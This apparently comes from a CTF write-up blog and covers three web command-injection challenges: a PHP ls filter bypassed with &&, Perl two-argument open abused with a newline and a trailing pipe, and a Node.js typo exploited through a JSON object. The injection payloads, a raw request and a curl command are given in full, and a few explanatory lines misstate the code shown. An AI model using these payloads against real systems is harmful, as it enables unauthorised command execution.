Command Injection on HitCat

Bypassing a preg_match filter for command injection - PwnMe 2023

Sun, 07 May 2023 00:00:00 +0000

Introduction

This is a WEB challenge from the PWNME CTF.

Context Explanation

Here, you can check the content present on the server.

Prompt

Find a way to abuse this functionality and read the contents of the flag.txt file.

Solution

This is the challenge homepage.

What I noticed immediately is the <?= shell_exec('ls '.$parsed); ?> present in the source code.

If we can control the $parsed variable, we can execute commands.

Thanks to the source code provided, we can see that the input is passed into the preg_match_all function, filtering out the characters ; and |.

<?php
$parsed = isset($_POST['input']) ? $_POST['input'] : "/home/";
if($illegals){
    echo "Illegals chars found";
    $parsed = "/home/";
}

Therefore, we can use the && characters to chain commands after the ls command and thus read the contents of the flag.txt file.

Payload: && cat /home/flag.txt

Flag: PWNME{US3R_1nPUT2_1n_ShELL_Y3S_6x8c}

Tips & Tricks

&& can be used to chain commands, similar to ; or |.
Check which characters are filtered.
Review the page source code.

Perl two-argument open command execution - ImaginaryCTF 2025

Sat, 06 Sep 2025 00:00:00 +0000

Challenge source

ImaginaryCTF 2025 - Web - Pearl

Introduction

The “pearl” challenge is about abusing Perl’s two-argument open on unsanitized user input, which silently enables pipe opens (command execution) when the filename ends with a |. The server also URL-decodes the path, so we can inject a newline and arguments. A partial blacklist misses this single trailing pipe case, letting us execute cat /flag* and read the flag.

Context Explanation

Tech: custom HTTP server using HTTP::Daemon (Perl), serving files from ./files (see server.pl).
Entry point: request path (after URL decoding) is used to build a filesystem path, then passed to two-arg open.
“Sanitization”: a blacklist regex tries to block .., some shell metacharacters, and |.*|, but does not block a single trailing | and does not block newlines.
Flag: built at container start (flag.txt moved/renamed to /flag-<md5>.txt), so /flag* reliably matches.

RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt

Directive

Craft a request path that, after URL-decoding, injects a newline and a shell command ending with a trailing pipe |.
Hit the server with that path so the two-arg open treats it as a pipe open and executes our command.
Use a glob /flag* to catch the randomized flag filename and read it.

Solution

1) Server behavior & vulnerable code

Relevant pieces from server.pl:

my $webroot = "./files";
...
while (my $r = $c->get_request) {
  if ($r->method eq 'GET') {
    my $path = CGI::unescape($r->uri->path);   # URL-decodes (%0A => newline)
    $path =~ s|^/||;
    $path ||= 'index.html';

    my $fullpath = File::Spec->catfile($webroot, $path);

    # Partial blacklist — note it only bans a pipe WHEN followed by ... another pipe
    if ($fullpath =~ /\.\.|[,\`\)\(;&]|\|.*\|/) {
      $c->send_error(RC_BAD_REQUEST, "Invalid path");
      next;
    }
    ...
    # Serve file
    open(my $fh, $fullpath) or do {            # <-- two-arg open on untrusted string
      $c->send_error(RC_INTERNAL_SERVER_ERROR, "Could not open file.");
      next;
    };
    binmode $fh;
    my $content = do { local $/; <$fh> };
    close $fh;
    ...

Key points:

CGI::unescape decodes %0A to a literal newline inside $path.
The regex does not forbid a single trailing |; it only matches \|.*\| (a pipe, some stuff, then another pipe).
Two-argument open on a string that ends with | turns into a pipe read from the preceding shell command (Perl feature). -> If $fullpath becomes e.g. "./files/x\ncat /flag*|", Perl executes cat /flag* and pipes its output into $fh.

[Screenshot: server.pl showing the blacklist line and the open(my $fh, $fullpath) call]

Also from Dockerfile:

COPY flag.txt /
RUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt

This is why /flag* is a reliable glob target for the flag.

2) PoC request (as provided) — newline + trailing pipe

The provided PoC (pearl/poc/pearl.txt) sends a raw HTTP request:

GET /x%0Acat%20/flag*%7C HTTP/1.1
Host: pearl.chal.imaginaryctf.org
Connection: keep-alive

URL-decoded path becomes:

/x
cat /flag*|

Line 1 is a dummy filename under ./files/ (likely non-existent).
Line 2 is the shell command we want the Perl open to execute (because it ends with |).
Net effect: two-arg open treats $fullpath as a pipe, runs cat /flag*, and returns the flag content.

3) Why it works (concise)

Two-arg open on an untrusted scalar enables special modes: a trailing | is a pipe open (command execution).
The blacklist misses the single trailing | pattern and doesn’t strip newlines, letting us smuggle a separate shell command after a filename.
CGI::unescape ensures %0A becomes a real newline inside the “filename.”
/flag* matches the randomized flag file produced at container startup.

Tips & Tricks

Perl open gotcha: If you see open($fh, $user_input), think pipe opens. Trailing | (read from command) and leading | (write to command) are classic primitives.
Bypass weak blacklists: Patterns like \|.*\| miss single pipes. Combine with newlines (%0A) to break parsing and inject arguments naturally.
Globs vs. randomized filenames: When flags are renamed with a hash, use shell globs (/flag*) in your injected command to avoid guessing the exact name.

Command injection via a QR generator's size parameter - PwnMe 2023

Sun, 07 May 2023 00:00:00 +0000

Introduction

This challenge is a WEB challenge from the PWNME 2023 CTF.

Background explanation

A company needs a website to generate a QR Code. They asked a freelancer to do this work.

Since the website went live, they have noticed strange behavior on their server.

They need your help to audit their code and help them solve their problem.

Directive

The flag is located in /app/flag.txt.

Solution

The website’s sources were available for download with the challenge.

The application is developed in Node.js and runs an Express server.

It allows users to generate a QR Code from a value entered by the user.

For example, here we generated a QRCode with the value PWNME2023.

There is a mention at the top of the page indicating that the maximum size of the input is 150 characters. Beyond that, a random sentence is generated for the QR Code.

The project contains two endpoints that are used:

/: which displays the homepage
/generate: which generates the QR Code

Code analysis

Home page endpoint

app.get('/', async (req, res) => {
    res.render('index');
});

The homepage is rendered by the EJS template engine.

There is nothing particular to note about this resource.

Generation endpoint

app.post('/generate', async (req, res) => {
    const { value } = req.body;
    try {
        let newQrCode;
        // If the length is too long, we use a default according to the length
        if (value.length > 150)
            newQrCode = new QRCode(null, value.lenght)
        else {
            newQrCode = new QRCode(String(value))
        }
        
        const code = await newQrCode.getImage()
        res.json({ code, data: newQrCode.value });
    } catch (error) {
        res.status(422).json({ message: "error", reason: 'Unknow error' });
    }
});

This function is more interesting to analyze.

We see that the value input is retrieved from the request body, and if the length of the value is greater than 150 characters, then the value is not taken into account, only its length.

Finally, the getImage() function is called on the newQrCode object, and the result is returned to the client.

Let’s look at the sources of the QRCode class:

class QRCode {
    constructor(value, defaultLength){
        this.value = value
        this.defaultLength = defaultLength
    }

    async getImage(){
        if(!this.value){
            // Use 'fortune' to generate a random funny line, based on the input size
            try {
                this.value = await execFortune(this.defaultLength)
            } catch (error) {
                this.value = 'Error while getting a funny line'
            }
        }
        return await qrcode.toDataURL(this.value).catch(err => 'error:(')
    }
}

To generate a QRCode, the getImage() function first checks that the value is not empty.

If there is a value, then the execFortune() function is called with the defaultLength value as a parameter.

function execFortune(defaultLength) {
    return new Promise((resolve, reject) => {
     exec(`fortune -n ${defaultLength}`, (error, stdout, stderr) => {
      if (error) {
        reject(error);
      }
      resolve(stdout? stdout : stderr);
     });
    });
}

Here, we clearly identify a possible command injection by manipulating the size of the value.

One might think it’s impossible to exploit given that it’s an integer passed as a parameter to execFortune, but let’s take a closer look at how the size of the value is checked:

if (value.length > 150)
    newQrCode = new QRCode(null, value.lenght)
else {
    newQrCode = new QRCode(String(value))
}

We notice a typo in the variable value.lenght, which should be value.length in the case where the value is greater than 150 characters.

The initial request sent a JSON like this:

{
    "value": "PWNME2023"
}

We can modify the request to take advantage of this typo by sending:

{
    "value": {
        "length": 151,
        "lenght": "; cat /app/flag.txt"
    }
}

Thus, the control is interpreted:

if (151 > 150)
    newQrCode = new QRCode(null, "; cat /app/flag.txt")
else {
    newQrCode = new QRCode(String(value))
}

Then in the getImage() function:

function execFortune("; cat /app/flag.txt") {
    return new Promise((resolve, reject) => {
     exec(`fortune -n ; cat /app/flag.txt`, (error, stdout, stderr) => {
      if (error) {
        reject(error);
      }
      resolve(stdout? stdout : stderr);
     });
    });
}

So, with this final request, we can read the flag:

curl 'http://13.37.17.31:54224/generate' \
  -H 'Content-Type: application/json; charset=UTF-8' \
  --data-raw '{"value":{"length":151,"lenght":"; cat /app/flag.txt"}}'

Response:

{
    "code":"data:image/png;base64,...",
    "data":"PWNME{E4Sy_P34sI_B4CkdO0R}"
}

Flag: PWNME{E4Sy_P34sI_B4CkdO0R}

Tips & Tricks

Be careful with typos in the code.
Identify functions that can be called with user-manipulated parameters.
If the data is in JSON format, try modifying the data type (string, int, array, object, etc.).